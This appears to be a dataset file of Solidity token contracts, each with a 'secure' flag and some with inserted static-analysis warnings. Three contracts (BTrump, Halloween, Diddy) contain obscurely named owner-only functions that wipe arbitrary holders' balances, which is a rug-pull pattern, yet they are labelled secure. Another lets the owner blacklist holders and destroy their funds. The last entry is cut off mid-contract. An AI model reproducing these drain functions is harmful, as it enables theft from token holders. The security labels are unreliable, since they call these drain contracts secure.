files dict |
|---|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IOracle.sol\" as IOracle;\n\ncontract CometOracle is IOracle {\n IOracle internal constant oracle =\n IOracle(0xdbd020CAeF83eFd542f4De03e3cF0C28A4428bd5);\n\n function decimals() external pure override returns (uint8) {\n return 18;\n }\n\n function latestRoundData()\n external\n view\n override\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n )\n {\n (roundId, answer, startedAt, updatedAt, answeredInRound) = oracle\n .latestRoundData();\n\n answer *= 1e10;\n }\n}",
"file_name": "solidity_code_518.sol",
"secure": 1,
"size_bytes": 757
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BlueDiamondToken is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Blue Diamond Token\", \"BLDT\") Ownable(initialOwner) {\n _mint(msg.sender, 50000000 * 10 ** decimals());\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n}",
"file_name": "solidity_code_519.sol",
"secure": 1,
"size_bytes": 1072
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Ethernely is ERC20, Ownable {\n constructor() ERC20(\"Ethernely\", \"$NELY\") {\n _mint(msg.sender, 30000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_52.sol",
"secure": 1,
"size_bytes": 352
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PetersBrothers is ERC20, Ownable {\n constructor(address tomint_) ERC20(\"Peters Brothers\", \"PETERS\") {\n _mint(tomint_, 1000000000000000 * 10 ** decimals());\n }\n\n function burn(uint256 amount) public onlyOwner {\n _burn(msg.sender, amount);\n }\n}",
"file_name": "solidity_code_520.sol",
"secure": 1,
"size_bytes": 480
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PAWCAT is ERC20 {\n constructor() ERC20(\"PAWCAT\", \"PAWCAT\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_521.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = msg.sender;\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_522.sol",
"secure": 1,
"size_bytes": 1075
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WadzCoinToken is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n mapping(address => bool) public blackList;\n\n mapping(address => uint256) private lastTxTimestamp;\n\n bool private antibotPaused = true;\n\n struct WhitelistRound {\n uint256 duration;\n uint256 amountMax;\n mapping(address => bool) addresses;\n mapping(address => uint256) purchased;\n }\n\n WhitelistRound[] public _tgeWhitelistRounds;\n\n uint256 public _tgeTimestamp;\n\n address public _tgePairAddress;\n\n uint256 private maxTxPercent = 100;\n\n uint256 private transferDelay = 0;\n\n constructor() {\n _name = \"WadzCoin Token\";\n\n _symbol = \"WCO\";\n\n _mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b4e40e): WadzCoinToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0b4e40e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function mint(address account, uint256 amount) public onlyOwner {\n _mint(account, amount * (10 ** uint256(decimals())));\n }\n\n function destroy(address account, uint256 amount) public onlyOwner {\n _burn(account, amount * (10 ** uint256(decimals())));\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!antibotPaused) {\n if (sender != owner() && recipient != owner()) {\n require(\n amount <= (totalSupply() * maxTxPercent) / 100,\n \"Overflow max transfer amount\"\n );\n }\n\n require(!blackList[sender], \"Blacklisted seller\");\n\n _applyTGEWhitelist(sender, recipient, amount);\n\n lastTxTimestamp[recipient] = block.timestamp;\n }\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a75e39): WadzCoinToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3a75e39: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function addBlackList(address _bot) external onlyOwner {\n blackList[_bot] = true;\n\n emit AddedBlackList(_bot);\n }\n\n function removeBlackList(address _addr) external onlyOwner {\n blackList[_addr] = false;\n\n emit RemovedBlackList(_addr);\n }\n\n function destroyBlackFunds(address _blackListedUser) external onlyOwner {\n require(\n blackList[_blackListedUser],\n \"This user is not a member of blacklist\"\n );\n\n uint256 dirtyFunds = balanceOf(_blackListedUser);\n\n _balances[_blackListedUser] = 0;\n\n _totalSupply -= dirtyFunds;\n\n emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);\n }\n\n event DestroyedBlackFunds(address _blackListedUser, uint256 _balance);\n\n event AddedBlackList(address _user);\n\n event RemovedBlackList(address _user);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 17c73af): WadzCoinToken.createTGEWhitelist(address,uint256[],uint256[]).pairAddress lacks a zerocheck on \t _tgePairAddress = pairAddress\n\t// Recommendation for 17c73af: Check that the address is not zero.\n function createTGEWhitelist(\n address pairAddress,\n uint256[] calldata durations,\n uint256[] calldata amountsMax\n ) external onlyOwner {\n require(durations.length == amountsMax.length, \"Invalid whitelist(s)\");\n\n\t\t// missing-zero-check | ID: 17c73af\n _tgePairAddress = pairAddress;\n\n if (durations.length > 0) {\n delete _tgeWhitelistRounds;\n\n for (uint256 i = 0; i < durations.length; i++) {\n _tgeWhitelistRounds.push();\n\n WhitelistRound storage wlRound = _tgeWhitelistRounds[i];\n\n wlRound.duration = durations[i];\n\n wlRound.amountMax = amountsMax[i];\n }\n }\n }\n\n function modifyTGEWhitelist(\n uint256 index,\n uint256 duration,\n uint256 amountMax,\n address[] calldata addresses,\n bool enabled\n ) external onlyOwner {\n require(index < _tgeWhitelistRounds.length, \"Invalid index\");\n\n require(amountMax > 0, \"Invalid amountMax\");\n\n if (duration != _tgeWhitelistRounds[index].duration)\n _tgeWhitelistRounds[index].duration = duration;\n\n if (amountMax != _tgeWhitelistRounds[index].amountMax)\n _tgeWhitelistRounds[index].amountMax = amountMax;\n\n for (uint256 i = 0; i < addresses.length; i++) {\n _tgeWhitelistRounds[index].addresses[addresses[i]] = enabled;\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e30f5ba): WadzCoinToken.getTGEWhitelistRound() uses timestamp for comparisons Dangerous comparisons _tgeTimestamp > 0 block.timestamp <= wlCloseTimestampLast\n\t// Recommendation for e30f5ba: Avoid relying on 'block.timestamp'.\n function getTGEWhitelistRound()\n public\n view\n returns (uint256, uint256, uint256, uint256, bool, uint256)\n {\n\t\t// timestamp | ID: e30f5ba\n if (_tgeTimestamp > 0) {\n uint256 wlCloseTimestampLast = _tgeTimestamp;\n\n\t\t\t// cache-array-length | ID: 3171f28\n for (uint256 i = 0; i < _tgeWhitelistRounds.length; i++) {\n WhitelistRound storage wlRound = _tgeWhitelistRounds[i];\n\n wlCloseTimestampLast = wlCloseTimestampLast + wlRound.duration;\n\n\t\t\t\t// timestamp | ID: e30f5ba\n if (block.timestamp <= wlCloseTimestampLast)\n return (\n i + 1,\n wlRound.duration,\n wlCloseTimestampLast,\n wlRound.amountMax,\n wlRound.addresses[_msgSender()],\n wlRound.purchased[_msgSender()]\n );\n }\n }\n\n return (0, 0, 0, 0, false, 0);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: aa29dd0): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for aa29dd0: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fe013e1): WadzCoinToken._applyTGEWhitelist(address,address,uint256) uses a dangerous strict equality _tgeTimestamp == 0 && sender != _tgePairAddress && recipient == _tgePairAddress && amount > 0\n\t// Recommendation for fe013e1: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _applyTGEWhitelist(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n if (_tgePairAddress == address(0) || _tgeWhitelistRounds.length == 0)\n return;\n\n if (\n\t\t\t// timestamp | ID: aa29dd0\n\t\t\t// incorrect-equality | ID: fe013e1\n _tgeTimestamp == 0 &&\n sender != _tgePairAddress &&\n recipient == _tgePairAddress &&\n amount > 0\n ) _tgeTimestamp = block.timestamp;\n\n if (sender == _tgePairAddress && recipient != _tgePairAddress) {\n (uint256 wlRoundNumber, , , , , ) = getTGEWhitelistRound();\n\n\t\t\t// timestamp | ID: aa29dd0\n if (wlRoundNumber > 0) {\n WhitelistRound storage wlRound = _tgeWhitelistRounds[\n wlRoundNumber - 1\n ];\n\n require(\n wlRound.addresses[recipient],\n \"TGE - Buyer is not whitelisted\"\n );\n\n uint256 amountRemaining = 0;\n\n if (wlRound.purchased[recipient] < wlRound.amountMax)\n amountRemaining =\n wlRound.amountMax -\n wlRound.purchased[recipient];\n\n require(\n amount <= amountRemaining,\n \"TGE - Amount exceeds whitelist maximum\"\n );\n\n wlRound.purchased[recipient] =\n wlRound.purchased[recipient] +\n amount;\n }\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3c45f14): WadzCoinToken.setMaxTxPercent(uint256) should emit an event for maxTxPercent = _maxTxPercent \n\t// Recommendation for 3c45f14: Emit an event for critical parameter changes.\n function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner {\n\t\t// events-maths | ID: 3c45f14\n maxTxPercent = _maxTxPercent;\n }\n\n function setTransferDelay(uint256 _transferDelay) external onlyOwner {\n transferDelay = _transferDelay;\n }\n\n function setAntibotPaused(bool _antibotPaused) external onlyOwner {\n antibotPaused = _antibotPaused;\n }\n}",
"file_name": "solidity_code_523.sol",
"secure": 0,
"size_bytes": 13651
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Pusheen is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07ae883): Pusheen.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 07ae883: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Pusheen\", \"PUSH\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 33b18fb): Pusheen.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for 33b18fb: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 41abae8): Pusheen.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 41abae8: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: 41abae8\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: 33b18fb\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: 33b18fb\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_524.sol",
"secure": 0,
"size_bytes": 2732
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BTrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable oxyst;\n\n constructor() {\n _name = \"Baby Trump\";\n\n _symbol = \"BTrump\";\n\n _decimals = 18;\n\n uint256 initialSupply = 840000000;\n\n oxyst = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == oxyst, \"Not allowed\");\n\n _;\n }\n\n function hmani(address[] memory combat) public onlyOwner {\n for (uint256 i = 0; i < combat.length; i++) {\n address account = combat[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_525.sol",
"secure": 1,
"size_bytes": 4353
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WHF is ERC20, Ownable {\n constructor() ERC20(\"World Heartfuture\", \"WHF\") Ownable(msg.sender) {\n _mint(\n 0x89304D829eE21A3bD431eBd0C6C9de547107F36E,\n 100000000 * 10 ** decimals()\n );\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n}",
"file_name": "solidity_code_526.sol",
"secure": 1,
"size_bytes": 539
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Halloween is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ghost;\n\n constructor() {\n _name = \"Halloween \";\n\n _symbol = \"HALLOWEEN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 7700000000;\n\n ghost = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ghost, \"Not allowed\");\n\n _;\n }\n\n function hunting(address[] memory preparing) public onlyOwner {\n for (uint256 i = 0; i < preparing.length; i++) {\n address account = preparing[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_527.sol",
"secure": 1,
"size_bytes": 4371
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Diddy is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable wellbing;\n\n constructor() {\n _name = \"Diddy \";\n\n _symbol = \"Diddy\";\n\n _decimals = 18;\n\n uint256 initialSupply = 6600000000;\n\n wellbing = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == wellbing, \"Not allowed\");\n\n _;\n }\n\n function electrical(address[] memory mobile) public onlyOwner {\n for (uint256 i = 0; i < mobile.length; i++) {\n address account = mobile[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_528.sol",
"secure": 1,
"size_bytes": 4362
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 18;\n\n uint256 public sellTax = 28;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address 